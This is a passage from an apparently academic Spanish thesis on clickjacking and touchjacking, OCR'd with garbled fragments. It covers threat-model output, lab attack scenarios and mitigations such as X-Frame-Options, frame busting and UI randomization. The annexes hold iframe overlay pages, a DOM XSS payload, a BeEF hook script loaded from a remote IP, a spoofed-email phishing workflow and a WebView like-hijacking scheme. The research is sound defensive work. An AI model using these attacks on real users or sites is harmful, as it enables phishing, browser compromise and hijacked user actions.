navegador Google Chrome ya que al momento de realizar el bloqueo de iframe
brinda la opcién al usuario para poder acceder a un sitio que contenga iframes,
ademas, durante la etapa de evaluacidon y experimentacion se han encontrado
scripts que permiten realizar un Bypass Xframe permitiendo cargar sitios Web
mediante iframes aunque se encuentren bloqueados del lado del servidor
brindando una mayor facilidad cuando se encuentra activa la opcidn
SameOrigin no ocurriendo lo mismo con la opcion Deny que evidencia una
mayor seguridad con respecto al uso de bypass. Otra de las técnicas mas
efectivas fue la randomizacion de la interfaz grafica permitiendo que en caso
de realizar un ataque de clickjacking se vuelva sumamente complejo efectuarlo
ya que el atacante deberia adivinar la proxima posicion de un elemento del sitio
web. Finalmente, con respecto a las mitigaciones evaluadas para los ataques
de touchjacking resultaron muy efectivas la utilizacion de Frame Busting y las

alertas de iframes, mitigando en mas del 50% este tipo de ataques.
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6 CONCLUSIONES

Con respecto a las técnicas de clickjacking y touchjacking analizadas en esta
investigacion se puede concluir que debido a la facilidad de implementacion las
técnicas de clickjacking son las méas optadas por los atacantes. Mientras que
las técnicas de touchjacking resultan ser mas complejas debido a que deben
ser implementadas dentro de una aplicacion movil nativa con la utilizacion de
WebView.

En la evaluacion con respecto a los navegadores Google Chrome y Microsoft
Edge tomando en cuenta que se implementaron los vectores de ataque y
medidas de mitigacion bajo las mismas condiciones se evidencio que el
navegador Google Chrome fue un 9,34% mas eficiente contrarrestando las

técnicas de ataque de clickjacking y touchjacking.

Se pudo determinar de acuerdo con las evaluaciones de cada uno de los
escenarios planteados que las principales caracteristicas que facilitan la
ejecucion de los ataques de clickjacking y touchjacking se deben a una mala
configuracion del servidor web, la falta de sanitizacion y validacion en las
entradas de datos, asi como también la poca utilizaciéon de plugins como

medidas de proteccion en los navegadores.

Durante la etapa de estimacion del riesgo mediante el analisis de las
caracteristicas referentes a nivel de compromiso y nivel de conocimiento se
pudo determinar que vectores de ataque fueron los mas criticos tomando en
cuenta los que se encontraban en un nivel de amenaza entre el rango medio-

alto.
Dentro de las técnicas de mitigacion propuestas en la investigacion se pudo

determinar que la eficiencia fue mayor en las que fueron implementadas a nivel

de caodigo.
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El andlisis del riesgo con respecto a la eficiencia de los ataques antes y después
de aplicadas las medidas de mitigacién permitié identificar claramente el riesgo
residual de cada uno de los vectores de ataque analizados en esta

investigacion.
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7 RECOMENDACIONES

Con respecto a los ataques de Cross Site scripting (XSS), para evitar este tipo
de vulnerabilidad se recomienda la implementacibn de una politica de
seguridad de contenido (CSP) lastimosamente en la actualidad este tipo de

politica no es implementada por los desarrolladores web.

Se recomienda que en la fase de desarrollo se tomen en cuenta medidas de
sanitizacion con respecto a la validacién de datos de entrada y salida, asi como
también la utilizacién de librerias que se encuentren actualizadas de igual forma
se debe considerar una correcta configuracion del servidor para impedir la
inyeccion de cdédigo, el acceso no autorizado al mismo o la divulgacion de
informacion, todas estas medidas de sanitizacion serviran para evitar posibles

ataques.

En las vulnerabilidades con respecto a la falsificacion de sitios web uno de los
mecanismos mas usados para evitar este tipo de ataques es agregar datos de
autenticacion adicionales con el fin de poder detectar si existe algun tipo de

intrusion en nuestro sitio web.

Es importante tener una correcta implementacion del X-FRAME ya que en las
pruebas realizadas evidencia ser efectivo frente a este tipo de ataques, pero
existen métodos para realizar un bypass con respecto a esta proteccién que
han sido evaluados y han logrado evadir este tipo de seguridad, es por ello que
se recomienda implementar medidas adicionales como la utilizacion de codigo

gue permita alertar al usuario sobre la intrusion o falsificacion de un sitio web.

Al momento de desarrollar un sitio web es importante evaluarlo desde el punto
de vista de un atacante con el fin de evidenciar las falencias en el disefio e
implementacion, para estos casos se recomienda la ocultacion del cédigo
fuente para impedir que el atacante encuentre falencias en el desarrollo y

explotar esa vulnerabilidad.
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Se recomienda para futuras investigaciones un planteamiento del estudio de la
efectividad en plugins en los navegadores con el fin de generar una biblioteca
digital que especifique la aplicacion de estos y su efectividad bajo ciertas
condiciones, de igual forma se puede ampliar el estudio tomando en cuenta una
mayor cantidad de navegadores que los considerados en esta investigacion

con el fin determinar la mejor opcidn del mercado con respecto a prestaciones.
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9 ANEXOS

Anexo |. Reporte de Riesgos de Microsoft Threat Modeling.

Threat Modeling Report
Created on 12/8/2020 23:28:44

Threat Model Summary:
Not Started 18
Not Applicable 0
Needs Investigation 0
Mitigation Implemented O
Total 18

Total Migrated 0

Diagram: Escenario Tesis

HTTP Response

Hacker

|
Request
l HTI'I}\Respo nse H#P Reguest
‘
Fake Web

Escenario Tesis Diagram Summary:
Not Started 18
Not Applicable 0

Needs Investigation 0
Mitigation Implemented O
Total 18
Total Migrated 0
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Interaction: HTTP Request
il

HTTP Response

User = WEB Browser

HTTP Request

1. Elevation Using Impersonation [State: Not Started] [Priority: High]
Category: Elevation Of Privilege

Description: WEB Browser may be able to impersonate the context of User in
order to gain additional privilege.

Justification: <no mitigation provided>
2. Spoofing the User External Entity [State: Not Started] [Priority: High]
Category: Spoofing

Description: User may be spoofed by an attacker and this may lead to
unauthorized access to WEB Browser. Consider using a standard
authentication mechanism to identify the external entity.

Justification: <no mitigation provided>

Interaction: HTTP Request

| HTTP Response

Fake Web

| HTTP Request

3. Elevation Using Impersonation [State: Not Started] [Priority: High]
Category: Elevation Of Privilege

Description: Web Server may be able to impersonate the context of Fake Web in
order to gain additional privilege.

Justification: <no mitigation provided>

4. Collision Attacks [State: Not Started] [Priority: High]
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Category: Tampering

Description: Attackers who can send a series of packets or messages may be
able to overlap data. For example, packet 1 may be 100 bytes
starting at offset 0. Packet 2 may be 100 bytes starting at offset 25.
Packet 2 will overwrite 75 bytes of packet 1. Ensure you reassemble
data before filtering it, and ensure you explicitly handle these sorts
of cases.

Justification: <no mitigation provided>
5. Replay Attacks [State: Not Started] [Priority: High]
Category: Tampering

Description: Packets or messages without sequence numbers or timestamps can
be captured and replayed in a wide variety of ways. Implement or
utilize an existing communication protocol that supports anti-replay
techniques (investigate sequence numbers before timers) and
strong integrity.

Justification: <no mitigation provided>

Interaction: HTTP Request

sponse

|

6. Elevation Using Impersonation [State: Not Started] [Priority: High]
Category: Elevation Of Privilege

Description: Web Server may be able to impersonate the context of Hacker in
order to gain additional privilege.

Justification: <no mitigation provided>

7. Spoofing the Hacker External Entity [State: Not Started] [Priority: High]
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Category: Spoofing

Description: Hacker may be spoofed by an attacker and this may lead to
unauthorized access to Web Server. Consider using a standard
authentication mechanism to identify the external entity.

Justification: <no mitigation provided>

Interaction: HTTP Request

= WEB Browser

\Response H]'}ItP Reque:

HTT

Fake Web

—

8. Elevation Using Impersonation [State: Not Started] [Priority: High]
Category: Elevation Of Privilege

Description: Fake Web may be able to impersonate the context of WEB Browser
in order to gain additional privilege.

Justification: <no mitigation provided>
9. Cross Site Scripting [State: Not Started] [Priority: High]
Category: Tampering

Description: The web server 'Fake Web' could be a subject to a cross-site
scripting attack because it does not sanitize untrusted input.

Justification: <no mitigation provided>

10. WEB Browser Process Memory Tampered [State: Not Started] [Priority:
High]

Category: Tampering
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Description:

If WEB Browser is given access to memory, such as shared memory
or pointers, or is given the ability to control what Fake Web executes
(for example, passing back a function pointer.), then WEB Browser
can tamper with Fake Web. Consider if the function could work with
less access to memory, such as passing data rather than pointers.
Copy in data provided, and then validate it.

Justification: <no mitigation provided>

Interaction: HTTP Response

HTTP Response

Fake Web

11. Web Server Process Memory Tampered [State: Not Started] [Priority:

High]
Category:

Description:

Justification:

Tampering

If Web Server is given access to memory, such as shared memory
or pointers, or is given the ability to control what Fake Web executes
(for example, passing back a function pointer.), then Web Server
can tamper with Fake Web. Consider if the function could work with
less access to memory, such as passing data rather than pointers.
Copy in data provided, and then validate it.

<no mitigation provided>

12. Weak Authentication Scheme [State: Not Started] [Priority: High]

Category:

Description:

Justification:

Information Disclosure

Custom authentication schemes are susceptible to common
weaknesses such as weak credential change management,
credential equivalence, easily guessable credentials, null
credentials, downgrade authentication or a weak credential change
management system. Consider the impact and potential mitigations
for your custom authentication scheme.

<no mitigation provided>

13. Cross Site Scripting [State: Not Started] [Priority: High]
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Category: Tampering

Description: The web server 'Fake Web' could be a subject to a cross-site
scripting attack because it does not sanitize untrusted input.

Justification: <no mitigation provided>

14. Elevation Using Impersonation [State: Not Started] [Priority: High]

Category: Elevation Of Privilege

Description: Fake Web may be able to impersonate the context of Web Server in
order to gain additional privilege.

Justification: <no mitigation provided>

Interaction: HTTP Response

- WEB Browser

H'I'I'Il\Response

HT}F

Fake Web

15. Elevation Using Impersonation [State: Not Started] [Priority: High]

Category: Elevation Of Privilege

Description: WEB Browser may be able to impersonate the context of Fake Web
in order to gain additional privilege.

Justification: <no mitigation provided>
16. Collision Attacks [State: Not Started] [Priority: High]
Category: Tampering
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Description:

Attackers who can send a series of packets or messages may be
able to overlap data. For example, packet 1 may be 100 bytes
starting at offset 0. Packet 2 may be 100 bytes starting at offset 25.
Packet 2 will overwrite 75 bytes of packet 1. Ensure you reassemble
data before filtering it, and ensure you explicitly handle these sorts
of cases.

Justification: <no mitigation provided>

17. Replay Attacks [State: Not Started] [Priority: High]

Category:

Description:

Tampering

Packets or messages without sequence numbers or timestamps can
be captured and replayed in a wide variety of ways. Implement or
utilize an existing communication protocol that supports anti-replay
techniques (investigate sequence numbers before timers) and
strong integrity.

Justification: <no mitigation provided>

18. Fake Web Process Memory Tampered [State: Not Started] [Priority: High]

Category:

Description:

Justification:

Tampering

If Fake Web is given access to memory, such as shared memory or
pointers, or is given the ability to control what WEB Browser
executes (for example, passing back a function pointer.), then Fake
Web can tamper with WEB Browser. Consider if the function could
work with less access to memory, such as passing data rather than
pointers. Copy in data provided, and then validate it.

<no mitigation provided>
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Anexo Il. Reduccion del arbol de ataque.

PHISHING

EMAIL SPOOFING

OSINT

ROBO DE INFORMACION

COMPROMETER EL NAVEGADOR

CLICKJACKING TOUCHJACKING
SPOOFING INTERFAZ GRAFICA CROSS SITE SCRIPTING
CURSOR OCULTAR WEBVIEW Ladite BEEF
SPOOFING IHEAME

9 TRANSPARENT

WEBVIEW

MODIFICACION DE IFRAME EDICION CSS

Figura 23. Arbol de ataque reducido.
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Anexo lll. Cédigo fuente pagina p1.html

<IDOCTYPE html>
<html lang="en">
<head>
<meta charset ="UTF-8">
</head>

<body>
<link rel="stylesheet" type="text/css" href="p1.css">
<iframe src="https://msp.citas.med.ec/" scrolling="no">
</iframe>
<button onclick="ataque()" type="submit">Atacante</button>
<script>
function ataque() {
alert("CLICKJACKING COMPLETADQ");
}

</script>

</body>

</html>
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pl.css

button{
width: 224px;
top: 392px;
height: 50px;
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Anexo IV. Codigo fuente pagina p2.html

p2.html

<html>
<link rel="stylesheet" type="text/css" href="p2.css">
<iframe src="http://localhost/Paginal/pl.html" scrolling="no">
</iframe>
<div class="wrapper">
<form class="form-signin">
<h2 class="form-signin-heading">INGRESO</h2>
<input type="text" class="form-control" name="username"

placeholder="Correo Electronico" required="" autofocus="" />
<br><br>
<input type="password" class="form-control" name="password"
placeholder="Contrasena" required=""/>
<br><br>
<label class="checkbox">
<input type="checkbox" value="remember-me" id="rememberMe"
name="rememberMe"> Recordarme
</label>
<br><br>
<button class="btn btn-Ig btn-primary btn-block"
type="submit">Ingresar</button>
</form>
</div>

</html>
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p2.css

iframe{
width:850px;
height: 450px;
top: Opx;
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Anexo V. Escenarios Vector de ataque V4

Escenario 1 (V4)

Para el escenario 1 se implementé la técnica de ocultacién en los navegadores

Microsoft Edge (Figura 24) y Google Chrome (Figura 25) sin la activacion de
plugins.

Fo e \

Este sitio dice.

CUCKIACKING COMPLETADO

Figura 24. Ejecucién de clickjacking Microsoft Edge.

Figura 25. Ejecucién de clickjacking Google Chrome.

Para el escenario 1 el ataque mediante el método de ocultacion fue imperceptible
para el usuario en vista de que la pagina web no contaba con medidas de mitigacion

para este tipo de ataque, el resultado fue similar para los dos navegadores.
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Escenario 2 (V4)
Para la implementaciéon que de este escenario se utiliza la técnica de ocultacion
sobre los navegadores Google Chrome y Microsoft Edge sin la utilizacién de plugins

con medidas de sanitizacion en ambos navegadores.

Mitigacion E2 (V4)

Para el escenario 2 se procedid a crear una nueva pagina web a la cual
denominaremos p2.html con el fin de que en esta insertemos nuestra pagina
original P1 en la cual se encuentra agregado el codigo XFrame con el fin de
evaluar la efectividad de esta medida de mitigacion, se desplegaron las paginas
web en los navegadores: Google Chrome y Microsoft Edge Unicamente
aplicando medidas de sanitizacion sugeridas a nivel de coédigo y sin la
activacion de plugins en el navegador Google Chrome.

Como primer paso se agrego a nuestro servidor XAMMP en la ubicacion de
nuestra pagina web un archivo .htaccess con los comandos Header set X-
Frame-Options DENY y Header set X-Frame-Options SAMEORIGIN.

Una vez aplicada esta medida a nivel de codigo se evaluo la efectividad en los
navegadores Google Chrome y Microsoft Edge, cabe indicar que para evaluar
X-Frame SAMEORIGIN se agrego la pagina web p2.html a un servidor distinto

al que ubicamos la pagina web p1.html.

Implementacion de XFrame en Google Chrome.

INGRESO
[Comeo Electranico

Recordarme

Ingresar

RESULTADO DE XFRAME
EN GOOGLE CHROME =
P P2

Figura 26. Aplicacion de Xframe en Google Chrome
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Se pudo observar que el navegador Google Chrome bloguea completamente

cualquier tipo de pagina que se encuentra asociada mediante iframe.

Implementacién de XFrame en Microsoft Edge.

< > 0O @ D | localhost/Paginaz/p2.htm

Este contenido no se puede mostrar en un

marco
Supuestamente, deberfa haber algo de contenido aqui, pero el editor no
permite su visualizacién en un marco. Esto sirve para proteger la
seguridad de la informacién que especifiques en el sitio.
Prueba esto L
[] Recordarme
« Abre esto en una ventana nueva
,
« Notificar este problema

Declaracién de privacidad

i P2

Figura 27. Aplicacion de Xframe en Microsoft Edge

Con respecto al navegador Microsoft Edge se pudo evidenciar que no realiza

el bloqueo completo de iframe y nos brinda una opcion para que la pagina

asociada se abra en una nueva ventana.

Escenario 3 (V4)

Para el vector de ataque 4 se aplica el método de ocultacion y ademas se utilizaron
plugins que sean comunes para el navegador Google Chrome y Microsoft Edge con

el fin de analizar el nivel de eficiencia en la prevencion de ataques con iframes.
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Extensiones instaladas

De Microsoft Store

Adblock Plus - free ad blocker
Con 500 mill

Quitar

Malware & URL Scanner

n, whais, and r

P, or file for malware, phishing,

NoFollow

g and custom CSS outline

Cutline

itz

Figura 28. Extensiones de Microsoft Edge.

Adblock Plus - free ad blocker Malware & URL Scanner No-Script Suite Lite
B

Quitar Quitar a Quitar

NoFollow Sitio seguro de Scanguard Total Script Blocker

Quitar 3 Quitar

Figura 29. Extensiones de Google Chrome.
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Anexo VI. Escenarios Vector de ataque V6.

Escenario 2 (V6)

Antes de iniciar la implementacion del vector de ataque es de gran ayuda conocer
informacion publica sobre la victima o institucion que se desea atacar, se puede
utilizar herramientas de OSINT que nos permitan obtener mayor cantidad de
informacion de nuestro objetivo y realizar un ataque mas preciso.

En nuestro caso utilizaremos la herramienta Maltego en Kali Linux para este
ejemplo se buscara el dominio de una institucion para conocer correos electronicos

publicos.

Transforms  Machines

Iﬁ r’- i Clear Graph | Number of Results Privacy Mode Q E
& |

K cut 5
@ stealth V' | Quick Findin | Entity
Find  Files | Selection % !

paterva.v2
<empty>

- Endpoints

e i tolie

>.{ Hub Transform I...
~ Properties

Figura 30. Herramienta Maltego.
Con los correos electronicos obtenidos realizamos el ataque de email spoofing

mediante la herramienta anonymailer http://www.anonymailer.net/ para ello

ingresaremos el correo electronico de nuestra victima e insertaremos nuestro sitio
web pl.html en un hipervinculo para que sea redireccionada al mismo y poder

aplicar la técnica de clickjacking.
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http://www.anonymailer.net/

Send fake email.

Online web tool for sending prank emails.
No download required! It is virus free.

From Name ‘Sitio Falso ‘(Optional}

From E-mail * sitiofalso@sitio.ec

To Email * i I

Subiject of the email Actividad Sospechosa ‘(Opticnal}
B ‘ B 7 U s ‘ E=s=E= ‘ Paragraph - Font family = Font size -
A-w-FBw o Y@ |— QTS |=E&« | | ©H
= | | | | [ =a 5 Q2 m

Estimado usuario hemos detectado una actividad sospechosa con su perfil por
favor ingresa al siguiente link para validar los permisos y seguridad:

hitp:/localhest/principal/p1.htm

ALt
LINK SITIO
Sitio Falso MALICIOSO
Path: p y
Are you human? Type the characters an the image to the form field below.

Vhen you are ready to click submii, make sure you refresh the cods before you type it to the form fizld

Figura 31. Herramienta anonymailer.
Una vez la victima ingrese al link enviado, se muestra el sitio web malicioso.

Mitigacion E2 (V6)
Se ha agregado en nuestro sitio web p1.html el siguiente cddigo, con el fin de que
nuestro botdn de ingreso se muestre en distintas posiciones del eje X, evitando de

esta manera que un atacante logre predecir la ubicacion de nuestro boton:

<

var btn do

btn.style.left

<

Los resultados que se obtuvieron en el navegador Google Chrome y Microsoft Edge
fueron similares sin embargo existe una ligera posibilidad que la randomizacion

llegue a coincidir con la posicion en la que el atacante coloque un boton malicioso.
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O localhost/principal/p1.htm| % % » & @ -

Bienvenido

Contrasefia

Iniciar Sesion

Olvidé mi contraseia

Bienvenido

Iniciar Sesién

Figura 33. Ul Randomization Google Chrome.
Anexo VII. Escenarios Vector de ataque V9

Escenario 2 (V9)
Para la implementacion del vector de ataque se agrega codigo Javascript con el fin
de ocultar el cursor original sobre la seccion que se desea y colocarlo en la

ubicacion deseada por el atacante.
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B S S localhost x[+v — @ 2

« > 0O @ @ | localhost/tesis/p1.html Y *x 7 & -

| sitio al que estas accediendo utiliza cookies. Deseas Aceptar Cookies ?

&

Cursor Spoofing

Bienvenido

Isuario

Contrasefia

Iniciar Sesién

Olvidé mi contraseiia

Cursor Real

cursor spoofing

Bienvenido

Contrasefia
Iniciar Sesién

Olvidé mi contraseda

,. .- / cursor real
5 ~ \ N
754

Figura 35. Cursor spoofing Google Chrome.

Mitigacion E2 (V9)
Como mitigacion del vector de ataque V9 se realiza un bloqueo de la
customizacion del cursor que se ha sugerido como medida de mitigacion [26]
de la técnica de cursor spoofing o cursorjacking, en la cual se agregé dentro de
nuestro archivo CSS el codigo cursor: not-allowed, con el fin de que se impida

la customizacién de nuestro puntero.
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Bienvenido

Usuario

Contrasefa

Iniciar Sesion

Olvidé mi contrasefia

B localhost/Paginal/p1.html x 4+

€« C @ localhost,

| sitio al que estas accediendo utiliza cookies. Deseas Aceptar Cookies ?

© -

Bienvenido

Usuario

Contrasefa

Iniciar Sesiéon

Olvidé mi contraseiia

Figura 37. Cursor not-allowed Google Chrome.

En los resultados se evidencio que efectivamente se muestra un icono de alerta
con respecto a nuestro cursor original, sin embargo, en el nhavegador Microsoft
Edge esto no impide que el usuario pueda hacer clic en el elemento que se
desea, mientras que en el navegador Google Chrome el bloqueo se realiza de
manera completa impidiendo que el usuario realice cualquier tipo de accion

sobre elementos maliciosos.

Anexo VIII. Escenarios Vector de ataque V10
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Escenario 1 (V10)

Para verificar que el sitio web es vulnerable a DOM XSS se procedi6 a insertar
codigo javascript directamente en el dominio con un mensaje de alerta, en los

navegadores Google Chrome y Microsoft Edge.

“— x in (0 | localhost/Paginal/p1.ht# <script=alerf("DOM X55%) < fscript>

Figura 38. JavaScript agregado desde el navegador

Podemos observar que es posible insertar codigo directamente desde el dominio
en el navegador Microsoft Edge, lo que nos indica que la pagina web es vulnerable
a los ataques DOM XSS.

Este sitio dice.
DOM XSS

] No dejar que esta pigina cree més mensajes

Figura 39. Resultado DOM XSS Microsoft Edge.

Al realizar la prueba de DOM XSS en el navegador Google Chrome se puede
evidenciar que el mismo cuenta con las seguridades para impedir que se ejecute la
inyeccion de codigo directamente en el dominio, haciéndolo mucho méas seguro

frente a este tipo de ataques.
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s. Deseas Aceptar Cookies 7

Bienvenido

Iniciar Sesién

Olvidé mi contrasefia

Figura 40. Resultado DOM XSS Google Chrome.
Anexo IX. Escenarios Vector de ataque V12

Escenario 2 (V12)
Una vez ejecutada la herramienta Beef nos genera un cédigo malicioso
denominado hook escrito en javascript que debemos agregar a nuestro sitio web y

enviarselo a la victima para obtener el acceso al dispositivo.

edu@kali: ~/beef
Archivo Acciones Editar Vista Ayuda

[12:34:58][*] 8 extensions enabled:

[12:34:58] Demos URL de nuestra interfaz

[12:34:58] Events gréfica

[12:34:58] Social Engineering

[12:34:58] Admin UI

[12:34:58] Requester

[12:34:58] Network _ ;
[12:34:58] Proxy Codigo JavaScript para
[12:34:58] _ XSSRays inyectar al sitio web
[12:34:58][*] 305 modules enabled.

[12:34:58][*] 2 network interfaces were detected.

[12:34:58][*] running on network interface: 127.0.0.1

[12:34:58] Hook URL: httn://127.0.0.1:3000/hook. s

[12:34:58] _ UI URL: http://127.0.0.1:3000/ui/panel
[12:34:58][*] running on network interface: 192.168.100.20

[12:34:58] Hook URL: http://192.168.100.20:3000/hook. js

[12: :58] _ UI URL: nttp://192.168.100.20:3000/u1/panel
[12:34:58][*] RESTful API key: b6a7f4bb987dfb70586e0976c9f0682072cf8bbf
[12:34:58][!] [GeoIP] Could not find MaxMind GeoIP database: '/opt/GeoIP/Ge
[12:34:58] |_ Run ./update-geoipdb to install

[12:34:58][*] HTTP Proxy: http://127.0.0.1:6789

[12:34:58][*] BeEF server started (press control+c to stop)

Figura 41. Ejecucion de la herramienta beef

El codigo ha sido agregado a nuestra pagina web para las pruebas respectivas.
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submit” rAtacante</

Figura 42. Cdadigo javascript agregado al sitio web

Al ingresar al panel grafico de beef podremos observar los dispositivos que se
encuentren comprometidos en estado online/offline que en nuestro caso es nuestro

dispositivo movil.

B  mEmm| [ ® | ® 8etFControlPanel- Mo E] edu@ f B edu@kali: ~ 04:57PM O
BeEF Control Pane|
> BeEF - The Browser E: X | ) beeffcor X BeEF Control Panel
< [CEr] @ 18 w
Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB || MSFU
'# BeEF 05.0.0-alpha-pre | Submit Bug | Logout
BioOked Y WS Getting Started Logs Zombies Current Browser
4 =9 Online Browsers
TSI 10012 Details | Logs || Commands || Proxy | XssRays | Network
@ « B 7 1921681002 Key « Value
@ & 8 7 1021681002 browser capabilties.activex No
Offiine Brovisers browser capabilties. flash No
browser.capabities.pooglegears No
browser capabilities phonegap No
browser.capabiities. quicktime No
browser capabilities realplayer No
browser.capabiities siveright No
browser capabilities vbscript No
browser.capabiities vic No
Basic | Requester Page  1lof2| b Pl & Displaying zombie browser details 1 - 50 of 50

Figura 43. Interfaz de administracion de la herramienta beef.

La aplicacion beef nos brinda una amplia gama de vectores de ataque para un
sistema comprometido en nuestro caso utilizaremos la técnica de clickjacking, en
la cual deberemos insertar el iframe malicioso y alinearlo con nuestro boton para
asi ejecutar la accidon deseada, de igual forma se puede habilitar o deshabilitar la

opcién Show Attack que nos permitira visualizar u ocultar nuestro iframe.
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< c @

Kali Training Forums NetHunter ]| Offen GHDB || MS|
* BeEF 0.5.0.0-alpha-pre | Submit Bug | Logout
Hooked Browsers [ Getting Started x” Logs ” Zombies " Current Browser
4 £ Oniine Browsers
453 kocahost [ Details ” Logs " Commands ” Proxy ” XssRays ” Network ]
& @™ 719216510012 Module Tree Module Results History Command resuts
459 Offine Browsers
e ida| dote abei Re-exectie command
4£5182.168.100.12 S e
* 0 202009082359 command1 Frame Stc: | hitp:/192.168.100.12/ke hml
@ < B 7 1521681002 b (£ Chrome Extensions (6) "
@ « B 7 192168.1002 1 £ Debug (9)
@® < B 71921681002 & (] Exploits (109) Securty
& ClHost (24) rame maliciose insectade restricted (IE)
> g\PEC [E] Sandbox:
& (] Metasploi (1)
» CJMise (2 Show Attack
(2] Network (22) Click Delay 300
[+ £ Persistence (9) (ms)
1 (] Phonegap (16) e iFrame Width: | 16
nuestro
= Secial Engineering (24) . iFrame Heht: |10
& Text to Voice
B 1 CLICK 1
Ciickjacki
@ Cickjacking 35 $("#overlay1”).data(‘overlay’).close();
@ Clippy
@ Fake Evernote Web Clipp.
@ Fake Flash Update X .
@ Fake LastPass pes 2
@ Fake Notfication Bar Y-pos: 55
@ Fake Notfication Bar (Chi
. Re-execute

Basic || Requester

© Ready

Figura 44. Opciones editables dentro de la herramienta beef

Una vez ejecutado el ataque los resultados con los navegadores son los siguientes:

Microsoft Edge

192.168.100.12

TOUCHJACKING EFECTUADO

Figura 45. Ataque con beef al navegador Microsoft Edge.
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Google Chrome

A 192168.100.12

TOUCHJACKING
EFECTUADO

Figura 46. Atague con beef al navegador Google Chrome.

Mitigacion E2 (V12)

Para evaluar las medidas de mitigacién se realizaron pruebas con las
soluciones sugeridas, en primer lugar, se implementé la soluciéon con Frame
Busting [27], la cual consiste en bloquear iframes detectando algun objeto que
se puede encontrar enmarcado en nuestro sitio web, se agrego el codigo fuente
del Anexo Xl sugerido para la implementacion, evidenciando que al querer
agregar nuestro sitio web a una nueva pagina web mediante iframe, esta nos
dirige a nuestro sitio original impidiendo de esta forma que se utilice nuestro
sitio con fines maliciosos.

Y] T ocamost x = o
L4 L&

< O @ localhost/F
sitio al que estas a

RECHAZAR

Bienvenido

R ~E\

Figura 47. Resultado Frame Busting Microsoft Edge.

Se obtuvo el mismo resultado en el navegador Google Chrome como se

muestra en la Figura 48.
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Bienvenido

Iniciar Sesi6n

Olvidé mi contraseda

Figura 48. Resultado Frame Busting Google Chrome.

De igual forma se implementd un Script (

Anexo Xll) que nos muestre una advertencia en caso de detectar un iframe en
nuestro sitio web al realizar la validacion este script nos redirige a la pagina
original del iframe evitando de esta forma que un sitio malicioso intente robar
nuestra informacion, este tipo de advertencias son mas visuales y mantienen

alerta a los usuarios a diferencia de Frame Busting.

=] tﬂ‘ﬁflou\bosl p |+ v

o O @ £ localhost/Pagina2/p2htm * ¥ (A

INGRESO

Este sitio dice...

Se ha bloqueado un iframe dentro de esta pagina

Aceptar

Figura 49. Alerta de iframe Microsoft Edge.
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INGRESO

Olvide Contrasena
Recordarme

Ingresar

Figura 50. Alerta de iframe Google Chrome.

Los resultados obtenidos en los navegadores Microsoft Edge Figura 49 y

Google Chrome Figura 50 son similares.

Anexo X. Escenarios Vector de ataque V13

Escenario 2 (V13)

Para laimplementacion de este escenario con respecto al vector de ataque V13
se implementa la técnica de ocultacion utilizando Webview, mediante el cual se
cargan dos sitios web con el fin de sobreponer un sitio malicioso y ejecutar el
ataque de touchjacking, se utiliza nuestro sitio web p2.html que servira como
nuestro sitio principal.

Ademas, se ha creado un segundo webview malicioso que estara oculto sobre
nuestro sitio p2.html, para lograr este objetivo se ha modificado la opcion
setAlpha dentro de nuestro WebView malicioso dejandolo con el valor en 0

Ccomo se muestra a continuacion:

iptEnabled( )

Figura 51. Implementacion SetAlpha
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Para nuestro WebView malicioso hemos creado un vinculo del botén like de
Facebook el mismo que estara oculto detrads de la opcion olvide contrasefia de
nuestro sitio p2.html, para la creacion de nuestro boton de link hemos ingresado al
sitio: https://developers.facebook.com/docs/plugins/like-button cabe indicar que se

ha copiado la url que se genera después de hacer clic en el boton like para evitar

la doble confirmacién de Facebook.

f

#| facebook.com

i Inc - que te gusta https:/iwww.facebook.com

link agregado a webview

malicioso
¢Quieres indicar que te gusta esta pagina?

/ hittps:/iwww.facebook.com

Indica que te gusta esta pagina para recibir

actualizaciones en la seccion de noticias.
Figura 52. Url Webview Malicioso

Cabe indicar que para el desarrollo de este escenario hemos asumido que el
usuario se encuentra logeado con su sesion de Facebook en su dispositivo movil,
en nuestro caso hemos utilizado una fan page de Facebook para secuestrar el like

del usuario, esta pagina se ha ocultado detras de nuestro sitio p2.html.
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https://developers.facebook.com/docs/plugins/like-button

===
==

WebView Touchjacking

INGRESO

Recordarme

Figura 53. Disefio de atague Webview.

Finalmente verificamos los resultados de nuestro ataque evidenciando el antes y

después de nuestro fan page, evidenciando el robo del like de la victima.

like robado

© Mas informacion © Mas informacién

I

1l Me gusta Q

Figura 54. Resultado de ataque con WebView.

Mitigacion E2 (V13)

Con respecto a la medida de mitigacion del vector de ataque V13 se procedid
agregar un mensaje de alerta el cual se muestra una vez se detecte que dentro de
nuestro WebView existe un valor de Alpha igual a cero, como se muestra en la
Figura 55.
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Importante

¢ Esta aplicacion contiene sitios
ocultos, desea continuar ?

Figura 55. Ejecucion de mensaje de alerta al usuario.

Para evaluar la mitigacion del ataque WebView mediante el método de ocultacion
se agrega el elemento Sandbox en nuestro sitio web p2.html que es el que se esta

cargando en nuestro dispositivo movil.

mber-me™ id="rem name ecordarme

ass="btn btn-1g btn-primary btn-block™ typ submit”>Ingresar</

Figura 56. Implementacién elemento Sandbox.

Una vez efectuado estos cambios se puede evidenciar que realiza el bloqueo del
elemento WebView Principal sin embargo el elemento oculto continua presente, y
en caso de que el usuario intente presionar algun elemento de la pantalla puede

ejecutarse el ataque.
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A iy @ ez

WebView Touchjacking

Figura 57. Implementacién de Sanbox en WebView.

Anexo Xl. Codigo frame busting.

<style id="antiClickjack">body{display:none limportant;}</style>

<script type="text/javascript">
if (self === top) {
var antiClickjack = document.getElementByld("antiClickjack");
antiClickjack.parentNode.removeChild(antiClickjack);
} else {
top.location = self.location;

}

</script>
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Anexo Xll. Codigo alerta usuario.

<script type="text/javascript">
if (top != self){
top.location.replace(self.location.href);
alert("Se ha blogueado un iframe dentro de esta pagina");

}

</script>

Anexo Xlll. Cédigo fuente ataque con herramienta beef.

Pagina Principal

<IDOCTYPE htmi>
<html lang="en">
<head>
<meta charset ="UTF-8">
<meta http-equiv="X-UA-Compatible" content="ie=edge">

</head>

<div id="fb-root"></div>
<script async defer crossorigin="anonymous"
src="https://connect.facebook.net/es_LA/sdk.js#xfbml=1&version=v8.0"
nonce="K9i8rGoo"></script>

<body>

<link rel="stylesheet" type="text/css" href="pl.css">

<iframe src="https://msp.citas.med.ec/" scrolling="no">

</iframe>

<script type="text/javascript"
src="http://192.168.100.20:3000/hook.js"></script>
</body>

</html>
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Iframe Malicioso

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/>
<title></title>

</head>

<div id="fb-root"></div>

<script async defer crossorigin="anonymous"
